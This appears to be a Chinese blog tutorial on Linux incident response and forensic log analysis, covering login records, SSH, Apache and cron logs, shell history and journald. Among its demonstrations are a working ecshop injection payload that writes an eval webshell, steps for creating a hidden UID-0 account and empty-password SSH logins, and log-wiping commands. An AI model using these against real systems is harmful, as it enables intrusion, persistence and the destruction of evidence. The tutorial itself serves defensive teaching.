Linux应急响应-溯源-系统日志排查


本文只用作学习研究,请勿非法使用!!!
本文只用作学习研究,请勿非法使用!!!
本文只用作学习研究,请勿非法使用!!!

微信公众号:一个努力的学渣!!!
在这里插入图片描述

朔源:不是绝对的,别人留给你朔源的机会(留下痕迹),你才能朔源到

朔源如果挂代理,最终找到的地址都是IP地址,网警可以帮忙调取运营商相关日志,但有限(走程序)

朔源的本质是社工

一个完整的攻击是有一个攻击链条的,需要自己去找

目前大部分都在研究钓鱼、社工,防守方一般重点关注关注跟外部有交互的部门的网络环境,如HR

Linux 应急响应-溯源-系统日志排查:

查看当前已经登录到系统的用户:

w 是一个命令行工具,它可以展示当前登录用户信息,并且每个用户正在做什么。它同时展示以下信息:系统已经运行多长时间,当前时间,和系统负载

  • 第一行展示的信息和 uptime 命令运行结果一样。它包含了下列信息:
    • 15:44:08 -->系统当前时间
    • up 4:06 -->系统上线时间
    • 1 user -->登录用户数目
    • load average: 0.07, 0.03, 0.05 -->过去 1 分钟,5 分钟和 15 分钟内,系统负载平均值。这个值是对正在运行或者等待磁盘 I/O 操作的任务数目的一个考量。它基本上是告诉你过去的一段时间,系统有多忙?
  • 第二行包括以下信息:
    • USER:登录用户名
    • TTY:登录用户使用的终端名称
    • FROM:来自登录用户的主机名或者 IP,如果设置白名单,不显示,一般只有堡垒机设置
    • LOGIN@:用户登录时间
    • IDLE:从用户上次和终端交互到现在的时间,即空闲时间
    • JCPU:依附于 tty 的所有进程的使用时间
    • PCPU:用户当前进程的使用时间。当前进程名称显示在 WHAT
    • WHAT:用户当前进程和选项、参数

查看所有用户最近一次登录:

lastlog 命令 用于显示系统中所有用户最近一次登录信息。

lastlog 文件在每次有用户登录时被查询。可以使用 lastlog 命令检查某特定用户上次登录的时间,并格式化输出上次登录日志/var/log/lastlog 的内容。它根据 UID 排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog 显示Never logged。注意需要以 root 身份运行该命令

但是记录中会有很多未登录的用户,可以通过 grep -v 命令进行过滤,不显示没有登录过的用户

lastlog | grep -v “从未登录过” -->过滤的内容视情况而定

查看历史登录用户以及登录失败的用户:

last 可以查看所有成功登录到系统的用户记录,lastb 查看登录成功和失败的用户记录。

单独执行 last 指令时,它会读取位于/var/log/wtmp 的文件,并把该给文件的内容记录的登录系统的用户名单全部显示出来。

单独执行 lastb 指令,它会读取位于/var/log/btmp 的文件,并把该文件内容记录的登入系统失败的用户名单,全部显示出来

-n:显示最近5个登录的用户

-a:把IP列放在最后一行

last -a -n 5

-d:ip 地址转换为主机名。该参数可以获取登录到系统的用户所使用的的主机名,如果目标使用的vps 服务器绑定了域名,该参数有可能获取到目标域名

last -a -d |awk -F’ ’ ‘{print $1 “\t” $NF}’

注:awk 命令可以帮我们取出我们想要的列:

  • -F:指定分隔符,每列之间使用空格分隔,
  • print:打印
  • $1:第一列
  • $NF:打印最后一列
  • “\t”:添加 tab 符分隔,一般是 4 个空格

对登录系统的用户和 ip 进行排序计数。

这里去掉-d 参数,因为找不到主机名的地址会显示 error.arpa

last -a |awk -F’ ’ ‘{ print $1 “\t” $NF}’ |sort |uniq -c |sort -nr

  • sort:将文本进行排序,默认排序会把一样的行都排到一起
  • uniq -c:计数
  • sort -nr:排序;-nr 倒序;-n 正序

lastb 查看所有登录记录包含失败:lastb -a |awk -F’ ’ ‘{ print $1 “\t” $NF}’ |sort |uniq -c |sort -nr

登录失败的请求更重要的是 ip 地址信息,所以我们只取 ip 地址进行统计:lastb -a |awk ‘{print $NF}’ |sort |uniq -c |sort -nr

SSH登录日志分析:

系统用户登录都会在/var/log/secure 日志文件中记录。但是这个日志文件会被系统自动分割

ll -ld /var/log/secure*

通过通配符查看所有 secure 文件中登录失败的记录:grep Failed /var/log/secure*

取出第九列和第十一列:grep Failed /var/log/secure* |awk -F’ ’ ‘{print $9 “\t” $11}’

但是这里有一些意料之外的记录,这是攻击者错误配置登录导致的。可以通过 grep -v 去掉这些记录。但是这种乱搞的人的 ip 地址我们要单独关注一下

grep Failed /var/log/secure* |grep invalid |awk -F’ ’ ‘{print $13}’

过滤用户名+登录失败的 IP:grep Failed /var/log/secure* |grep -v “invalid”|grep -v “release” |awk -F’ ’ ‘{print $9 “\t” $11}’ |sort |uniq -c | sort -nr

查看登录成功的 ip:grep "Accepted " /var/log/secure* | awk ‘{print $11}’ | sort | uniq -c | sort -nr | more

查看系统历史命令:

系统历史命令一般保存在用户家目录下.bash_history 文件中:find / -name .bash_history

查看当前用户的历史命令:history

历史命令很多的时候,可以配合其他命令一起使用,比如 more 或 grep。如果某个用户被黑客登录过了就一定要查看该用户的所有历史命令信息。重点关注黑客修改了哪些文件。

另外默认的历史命令中仅仅记录历史命令,并不会记录额外的信息帮助我们分析。

自定义历史命令输出格式:添加一下配置到/etc/profile:

vim /etc/profile -->追加以下内容

#记录登录者 IP 地址 who 命令可以查看当前登录信息。
USER_IP=`who -u am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[()]//g'`
#日志文件存放路径。
HISTDIR=/var/log/history
#设置日期
DT=`date +%Y-%m-%d`

#判断用户 IP 地址如果不存在或者为.则用户 IP 用本机主机名代替。
if [ -z $USER_IP ]
then
USER_IP=`hostname`
fi
pdf="."
if [[ ! $USER_IP == *${pdf}* ]]
then
USER_IP=`hostname`
fi

#判断日志文件路径是否存在,如果不存在则创建并添加权限。
if [ ! -d $HISTDIR ]
then
mkdir -p $HISTDIR
chmod 773 $HISTDIR
fi

#创建对应日期的日志文件
if [ ! -d $HISTDIR/${DT} ]
then
mkdir -p $HISTDIR/${DT}
chmod 773 $HISTDIR/${DT}
fi

#指定日志存放数量的总数
export HISTFILESIZE=10000
#配置 history 命令输出的总数
export HISTSIZE=10000
#配置文件具体时间
DT2=`date +%Y%m%d_%H:%M:%S`
#拼接文件名/var/log/history/日期 2021-09-08 /当前用户名@用户 ip_当前时间
#DT1 是日期 DT2 是准确到秒的准确时间。
export HISTFILE="$HISTDIR/${DT}/${LOGNAME}@${USER_IP}_$DT2"
#设置历史命令中的时间戳,history 命令有效,文件中显示时间戳。
export HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S $"

之后重新加载配置文件:source /etc/profile

之后查看历史命令,已经带了时间戳信息:history 5

将本次登录的命令写入命令历史文件中,命令不是使用了就立即写入到文件中的,会现在缓存中,用户退出登录时会自动写入文件,-w 命令可以立即写入,-c 命令可以清除当前缓存中的命令:history -w

查看文件信息:ll /var/log/history/2023-02-08/root@192.168.137.1_20230208_16:11:56

文件名中记录了用户名-ip-时间。文件内容中记录了详细的命令以及命令执行的时间戳:tail -f /var/log/history/2023-02-08/root@192.168.137.1_20230208_16:11:56

常用系统日志说明(每个系统日志名都不一样,需要自己去查询)

日志目录 作用

/var/log/message 包括整体系统信息

/var/log/auth.log 包含系统授权信息,包括用户登录和使用的权限机制等

/var/log/userlog 记录所有等级用户信息的日志

/var/log/cron 记录 crontab 命令是否被正确的执行

/var/log/vsftpd.log 记录 Linux FTP 日志

/var/log/lastlog 记录登录的用户,可以使用命令 lastlog 查看

/var/log/secure 记录大多数应用输入的账号与密码,登录成功与否

/var/log/wtmp 记录登录系统成功的账户信息,等同于命令 last

/var/log/btmp 记录登录系统失败的用户名单,等同于命令 lastb

/var/log/faillog 记录登录系统不成功的账号信息,一般会被黑客删除

计划任务日志:

所有执行过的计划任务都会存在在/var/log/cron 文件中。

查看所有执行过的计划任务:cat /var/log/cron* |awk -F’:’ ‘{print $NF}’ |grep CMD |sort|uniq -c |sort -rn

查看所有用户的计划任务:cat /etc/passwd | cut -f 1 -d : |xargs -i crontab -l -u {}

也可以直接查看/var/spool/cron/下的文件内容,所有用户级别的计划任务,都在这里有文件:

ls /var/spool/cron/

cat /var/spool/cron/root

以上是用户级别的系统任务。系统级别的计划任务只能排查配置文件中的内容

find /etc/cron* -type f -->查看系统级别的计划任务文件名

检查系统用户:

Linux 系统用户主要存放于/etc/passwd 文件和/etc/shadow 文件中,还有一个组文件/etc/group

head -n 1 /etc/passwd

注:/etc/passwd 文件存放的是用户的信息,由 6 个分号组成的 7 个信息,解释如下

  • (1):用户名。
  • (2):密码(已经加密)
  • (3):UID(用户标识),操作系统自己用的
  • (4):GID 组标识。
  • (5):用户全名或本地帐号
  • (6):开始目录
  • (7):登录使用的 Shell,就是对登录命令进行解析的工具。

重点在于 UID 和 GID,root 用户的用户标识为 0,如果一个普通用户的 UID 修改为 0,那么这个用户就成为了 root 用户

修改用户 UID 为 0,伪装成 root 用户:

useradd test -->新增用户的信息

tail -n 1 /etc/passwd

vim /etc/passwd -->修改UID为0

tail -n 1 /etc/passwd

使用id命令查看用户身份,用户名还是 test,用户身份已经识别为 root

su - test -->需要先切换test用户

id

此时 test 用户拥有 root 用户所有权限。

查找用户 uid=0 的用户:awk -F: ‘$3==0 {print $1}’ /etc/passwd

使用空口令账户登录Linux系统:

正常情况,没有密码,用户是登录不了 linux 的。下面模拟黑客以空口令方式登录系统

1.设置 sshd 服务允许空口令帐号登录系统:

vim /etc/ssh/sshd_config

改:#PermitEmptyPasswords no

为:PermitEmptyPasswords yes

修改完之后重启sshd服务:systemctl restart sshd

2.创建空口令账号:

useradd centos

passwd centos

vim /etc/shadow -->删除 centos 密码信息,centos 就成为空口令用户

改:

centos: 6 6 6HHxq4itb$clwrPO2kZpAqFmaWjciLHgLSNAquqK.zJtXUloyJEekP4SPvU1KPEw0awjB2uMCojL96fK9n8yHQ5L4B4DWkQ.:19397:0:99999:7:::

为:centos::19397:0:99999:7:::

3.测试空口令用户登录系统:

ssh centos@192.168.137.11 -->直接回车就可以登录成功,不用输入密码

中间件日志:

Web 攻击的方法多种多样,但是默认情况下 Web 日志中所能记录的内容并不算丰富,最致命的是web 日志是不会记录 post 内容的,想要从 Web 日志中直接找出攻击者的 webshell 是非常难的,所以一般来说我们的分析思路都是先通过文件的方式找到 webshell,然后再从日志里找到相应的攻击者ip,再去分析攻击者的整个攻击路径,来回溯攻击者的所有行为。

但各种各样的原因,如黑客在入侵完了之后把 webshell 删除了,通过文件搜索的方式找不到webshell 或者只能通过分析 web 日志去发现 webshell,比如这时候要排查的话,难度会稍大。Web 日志主要分析 access_log,本文以常见的中间件 apache 为例,其他中间件日志格式和分析思路大同小异。

这里以实际靶场中的日志分析,通常日志文件在/var/log/httpd/access_log 目录下。具体可以看 apache 服务的配置文件中指定的日志文件路径

Apache 日志字段说明:

字段名称 描述

远程主机 IP 表明是谁访问了网站

空白(E-mail) 为了避免用户的邮箱被垃圾邮件骚扰,第二项就用“-”取代了

空白(登录名) 用于记录浏览者进行身份验证时提供的名字

请求时间 用方括号包围,而且采用“公用日志格式”或者“标准英文格式”。 时间信息最后的“+0800”表示服务器所处时区位于 UTC 之后的 8 小时

方法 请求的方式:METHOD、GET、POST、HEAD 等

资源 请求的文件

协议 请求的协议:HTTP+版本号

状态码 请求的状态码

发送的字节数 表示发送给客户端的总字节数。它告诉我们传输是否被打断(该数值是否和文件的大小相同)

Referer 从哪个页面链接过来的

User-Agent 使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等信息

tail -10 /var/log/httpd/access_log

日志分析的痛点:只能、看到 GET 请求的请求操作,POST 请求看不到对服务器提交的内容

查询访问网站次数最多的 10 个 IP 地址:cat /var/log/httpd/access_log |cut -f 1 -d ’ '|sort|uniq -c|sort -nr|head -10

查看访问最多的 URI:cat /var/log/httpd/access_log |cut -f 7 -d ’ '|sort|uniq -c|sort -nr|head -10

查看服务哪个时间段访问量最高:cat /var/log/httpd/access_log |cut -f 4 -d ’ '|sort|uniq -c|sort -nr|head -10

查看日志中存在 select 的请求,如果站点存在 GET 类型的 SQL 注入,可以通过 SQL 语句中的关键词筛选。这里仅举例,其他关键字自行替换。下面为 DVWA 测试数据:grep select /var/log/httpd/access_log

通过日志可快速定位到攻击者 ip 地址,攻击发起的时间,过滤出由攻击者 IP 发起的所有请求即可还原该用户的所有请求记录:grep “192.168.137.1” /var/log/httpd/access_log

通过时间检查站点被黑客修改过的文件:

通过文件的创建修改时间来分析这个期间黑客修改了哪些内容。下面用 Webshell 和日志来演示,方法对于黑客在服务器上留下后门程序是一样的,只是 webshell 的检查范围只有站点资源文件。

这里我们模拟测试数据对 ecshop 站点写入 webshell

curl http://xx.com/user.php -d “action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;” -H ‘Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:“num”;s:207:“/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0–“;s:2:“id”;s:9:”‘"’"’ union/”;s:4:“name”;s:3:“ads”;}45ea207d7a2b68c49582d2d22adf953a’

此时 webshell 已经写入到服务器。这里我们可以通过新文件的创建日期来判断入侵时间,得到入侵时间之后我们可以关注一下这个时间段的服务器日志。相反如果我们在日志中找到了入侵时间,也可以根据时间范围来查找黑客修改了哪些文件

检查最近 1 天内被修改过的文件:find /www/wwwroot/xx.com/ -name “*.php” -mtime -1

find -name ".php" :查找.php 文件。

-mtime -1:查找最近 1 天内被修改过的文件。

注:0 表示 24 小时内修改过的,1 表示昨天修改过的,2 表示前天修改过的。这是个单独的日期,想要指定 3 天之前到现在被修改过的文件则需要指定-3

查看 30 天内修改过的文件示例:-mtime -30

Linux 文件有 3 个时间属性

atime access time 访问时间 文件中的数据库最后被访问的时间

mtime modify time 修改时间 文件内容被修改的最后时间

ctime change time 变化时间 文件的元数据发生变化。比如权限,所有者等

stat 命令可以查看文件详细信息:stat /www/wwwroot/xx.com/vulnspy.php

但是 ls 命令默认查看的日期格式是英文的,如果想修改为 2021-09-14 这样的格式需要进行修改:

echo “export TIME_STYLE=‘+%Y/%m/%d %H:%M:%S’” >> /etc/profile

source /etc/profile

如果站点中修改的文件过多,可以在 find 时进行过滤,一句话木马中常见关键字有 eval、system,对这些关键词进行过滤即可。有时找到木马之后对这个马的关键词进行过滤,比如通过 D 盾检测 webshell

find /www/wwwroot/xx.com/ -name “*.php” -mtime 0 |xargs grep “eval”

xargs 可以把前面 find 命令的查询结果传递给后面的命令。

多个关键词可以在 grep 中添加条件,比如:| 或,需要使用 \ 转义,添加方式如下:grep “eval\ | system”

把 webshell 和日志中入侵记录关联起来:

find /www/wwwroot/xx.com/ -name “*.php” -mtime 0 |xargs grep “eval” |awk -F":" ‘{print $1}’|xargs ls -l

之后通过日期定位日志中的操作:

grep “11:39:34” /www/wwwlogs/access_log

之后定位文件存在漏洞。修复方案可以到对应的官网寻找修复补丁,或者百度搜索临时解决办法

缺点:日志中可以看到 POST 请求,但是日志不保存 POST 请求提交的数据信息,所以看不到攻击细节,一般安全防火墙设备中会提供完整报文

批量查找写入 webshell 的日志。

find /www/wwwroot/xx.com/ -name “*.php” -mtime 0 |xargs grep “eval” |awk -F":" ‘{print $1}’|xargs ls -l|awk ‘{print $7}’ |xargs -I {} grep {} /www/wwwlogs/access_log

原理很简单,查找到文件之后通过 awk 取出文件名 ls -l +awk 取出文件日期,通过 grep 过滤日志中和 webshell 相同日期的记录。

查询到攻击者 IP 以及 webshell 之后就可以筛选对应的日志。攻击者 IP 并不是只会有一个

查询所有访问一句话木马的日志:grep “vulnspy.php” /www/wwwlogs/access_log

查看IP归属:https://ip.fm/

查看该 ip 所有的记录:grep “114.114.114.114” /www/wwwlogs/access_log

查询一定时间范围内被修改过的文件。多数情况下黑客并不是刚刚入侵到这台服务器的,有可能要追溯到很早,所以这个时候需要通过时间范围来检查系统文件。

find -mtime,这种查找的时间单位是天,怎么精确到分钟呢?或者说按照时间戳去查找?这就需要使用"-newermt"参数

例:将/www/wwwroot/xx.com/目录下,2021-08-01 9:00 到 2021-09-15 21:00 时间段内修改或生成的文件显示出来:

该参数中的 m 其实就表示 mtime,t 表示绝对时间,那同样还存在:-newerat、-newerct

find /www/wwwroot/xx.com/ -name “*.php” -newermt ‘2021-08-01 9:00’ ! -newermt ‘2021-09-15 21:00’ |xargs ls -l

检查服务器已经建立的网络连接:

如果黑客已经和服务器建立了连接,可通过查看当前服务器已经建立的链接来分析恶意 ip 和进程。

Linux 中查看网络连接常用 netstat、ss、lsof

netstat 命令参数:

  • -a 或–all:显示所有连线中的 Socket;
  • -n 或–numeric:直接使用 ip 地址,而不通过域名服务器;
  • -p 或–programs:显示正在使用 Socket 的程序识别码和程序名称;
  • -t 或–tcp:显示 TCP 传输协议的连线状况;
  • -u 或–udp:显示 UDP 传输协议的连线状况;

常用语法:netstat -anutp

第一列:协议类型

第二列:接收消息队列

第三列:发送消息队列

第四列:本地 ip 和端口

第五列:远程 ip 和端口

第六列:网络连接状态

第七列:进程 pid 和进程名称

可以通过第六列筛选已经建立链接的进程。TCP 连接状态详解:

  • LISTEN:本地服务侦听状态
  • ESTABLISHED:已经建立链接双方正在通讯状态。
  • CLOSE_WAIT:对方主动关闭连接或者网络异常导致连接中断,这时我方的状态会变成CLOSE_WAIT 此时我方要调用 close()来使得连接正确关闭。
  • TIME_WAIT:我方主动调用 close()断开连接,收到对方确认后状态变为TIME_WAIT。
  • SYN_SENT:半连接状态,原理同 SYN Flood 攻击,攻击者发送 SYN 后服务器端口进入 SYN_SENT 状态等待用户返回 SYN+ACK

查看已经建立连接的会话:netstat -anutp |grep ESTABLISHED

查看那些机器连接了22端口:netstat -anutp |grep 22

查看本机处于监听的服务,查看黑客开放了哪些监听端口:netstat -anutp |grep LISTEN

通过 GScan 工具自动排查后门:

如果UID为0,意味着整个系统的沦陷,可以下权限、查操作、评估是否需要重置操作系统,如果业务漏洞存在问题,要及时修补,排查是否留下后门,不能留下入侵点

GScan 是一款为安全应急响应提供便利的工具,自动化监测系统中常见位置。

工具运行环境:CentOS (6、7) + python (2.x、3.x)

工具下载地址:https://github.com/grayddq/GScan

使用方法:

unzip GScan-master.zip && cd GScan-master

帮助信息:

python GScan.py --help

Usage: GScan.py [options]

Options:
  -h, --help     show this help message and exit
  --version      当前程序版本

  Mode:
    GScan running mode options

    --overseas   境外模式,此参数将不进行境外ip的匹配
    --full       完全模式,此参数将启用完全扫描
    --debug      调试模式,进行程序的调试数据输出
    --dif        差异模式,比对上一次的结果,输出差异结果信息。
    --sug        排查建议,用于对异常点的手工排查建议
    --pro        处理方案,根据异常风险生成初步的处理方案

  Optimization:
    Optimization options

    --time=TIME  搜索指定时间内主机改动过的所有文件,demo: --time='2019-05-07
                 00:00:00~2019-05-07 23:00:00'
    --job        添加定时任务,用于定时执行程序(默认每天零点执行一次)
    --hour=HOUR  定时任务,每N小时执行一次
    --log        打包当前系统的所有安全日志(暂不支持)

–pro 快速检查并给出初步处理方案,完整检查 --full 比较耗时间:python GScan.py --pro

工具会自动分析系统日志以及系统中账户配置存在哪些安全问题并给出初步处理方案。这里工具仅排查系统相关,对中间件等应用服务日志没有进行分析处理

巧用 systemd-journald 服务分析系统日志:

实验环境:本地 Centos 7 请勿在 vps 服务器上操作!!!

systemd-journald介绍:

systemd-journald 是一个收集并存储各类日志数据的系统服务。它创建并维护一个带有索引的、结构化的日志数据库,并可以收集来自各种不同渠道的日志。

systemd 是内核启动后的第一个用户进程,PID 为 1,是所有其它用户进程的父进程。所有服务的启动运行日志都可以记录到 systemd-journald 中,日志守护进程会以安全且不可伪造的方式自动收集每条日志的元数据。默认情况日志是存储在内存中的,系统重启后都会丢失。

黑客入侵系统后一般会将系统日志清空,以达到清理痕迹的作用,如果日志被黑客清空我们就无法通过日志来分析黑客入侵系统后都做了哪些事情,在很多情况下黑客在清理日志的时候都会忽略内存中的日志。

存储历史命令的文件:

1.历史命令文件:.bash_history

2.内存:只有退出系统,缓存中的命令记录才会写入文件,可使用history -c进行清空历史命令,history -w可以把当前缓存中的命令写入到文件中,可多清理几次

3.systemd-journald

systemd-journald持久化配置:

由于日志默认存储在内存中,重启就会失效,如果想保存日志可以通过持久化配置将日志保存到本地。

默认的配置文档中所有的参数都是默认值:vim /etc/systemd/journald.conf

新建一个配置文档,模板文件我们就不修改了:

mkdir /etc/systemd/journald.conf.d

vim /etc/systemd/journald.conf.d/99-prophet.conf

[Journal]
# 持久化保存到磁盘
Storage=persistent
# 压缩历史日志
Compress=yes
SyncIntervalSec=5m
RateLimitInterval=30s
RateLimitBurst=1000
# 最大占用空间 10G
SystemMaxUse=10G
# 单日志文件最大 200M
SystemMaxFileSize=200M
# 日志保存时间 2 周
MaxRetentionSec=2week
# 不将日志转发到 syslog
ForwardToSyslog=no

Storage 参数详解:

  • “volatile” 表示仅保存在内存中,也就是仅保存在/run/log/journal 目录中(将会被自动按需创建)。
  • “persistent” 表示优先保存在磁盘上,也就优先保存在 /var/log/journal 目录中(将会被自动按需创建),但若失败(例如在系统启动早期"/var"尚未挂载),则转而保存在 /run/log/journal 目录中(将会被自动按需创建)。
  • “auto”(默认值) 与 “persistent” 类似,但不自动创建 /var/log/journal 目录,因此可以根据该目录的存在与否决定日志的保存位置。
  • “none” 表示不保存任何日志(直接丢弃所有收集到的日志),但日志转发(见下文)不受影响。默认值是 “auto”

重启服务使配置文件生效:systemctl restart systemd-journald

配置持久化后日志文件从临时文件目录/run/log/journal 保存至/var/log/journal 目录:ll /var/log/journal/

缺点:文件体积大,也容易被发现。

journalctl 查询日志:

直接查询,默认查询规则是从旧到新排序:journalctl

从新到旧排序使用-r 参数:journalctl -r

查看指定服务日志:journalctl -u sshd

对比系统日志文件:tail -n 4 /var/log/secure

实时查看最新日志:journalctl -f

新建终端安装软件:yum install -y lsof

配置系统日志记录系统命令:

问题:Centos 默认不记录系统命令

Ctrl+c 关闭实时窗口,配置系统日志记录系统命令

配置文件中将 PROMPT_COMMAND 输出到系统日志中:vim /etc/bashrc

export PROMPT_COMMAND='RETRN_VAL=$?;logger -p local6.debug "$(whoami) [$$]: $(history 1 | sed "s/^[ ]*[0-9]\+[ ]*//" ) [$RETRN_VAL]"'
readonly PROMPT_COMMAND

构造消息日志过程:首先通过 history 1 取出当前执行的命来,$?获取该命令执行的返回值。通过logger -p local6.debug 自定义消息日志级别。

readonly PROMPT_COMMAND:设置为只读,防止被修改。

[$RETRN_VAL]:命令的返回值

配置完成后重新打开终端窗口即可成效。

注:该配置也可配置到/etc/profile 中,两个位置都可以

重新打开终端:ifconfig

查看实时日志:journalctl -f

由于前面我们通过配置/etc/profile 对系统日志记录格式进行了自定义,所以这里获取到的信息会有2 个时间戳,如果觉得重复可以去除/etc/profile 中对历史命令的自定义

指定查询时间:journalctl --since “2023-02-09 09:00:00” --until “2023-02-09 15:00:00”

–since 定义开始时间

–until 定义结束时间

两个参数可以单独指定,仅指定开始日期获取开始日期后所有日志,仅指定结束日期获取结束日期前所有日志。日期格式必须是:YYYY-MM-DD HH:MM:SS

指定输出格式:journalctl -o short-precise

输出的时间更加精细,日志信息简洁

输出详细信息:journalctl -o verbose

可信字段是指名称以下划线开头的字段。 这些字段由日志守护进程添加,客户端无法掌控这些字段的内容, 因此是"可信的"。详细信息中的字段都可以作为查询条件使用

通过可信字段查询指定用户的日志:journalctl _UID=0 -n 5

注:可信字段必须带有下划线

实战清理系统日志后使用 systemd-journald 分析日志:

新建用户并创建密码:

useradd centos

echo “123456” | passwd --stdin centos

kali 通过 centos 用户登录 centos:ssh centos@192.168.137.11

切换到 root 用户,之后清空日志:

su - root

echo > /var/log/secure

echo > /var/log/messages

echo > /var/log/lastlog

echo > /var/log/wtmp

echo > /var/log/btmp

history -c

history -w

history -c

history -w

history -c

history -w

之后登录系统进行排查:

last

lastlog

可以看到日志都被删除了无法得知黑客做了什么

查看日志文件修改时间:stat /var/log/secure

查询 14:47 前所有日志,避免误差,加一分钟 17:48,实战中前后信息都要看。查看文件时间只能确认这个时间内这个文件被修改了,并不是绝对时间(时间线索最重要)

journalctl --until “2023-02-09 17:48:00” -o short-precise

可以看到黑客通在 192.168.137.11 通过 ssh 服务登录 centos 用户,su - root 切换到 root 用户清空了日志

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值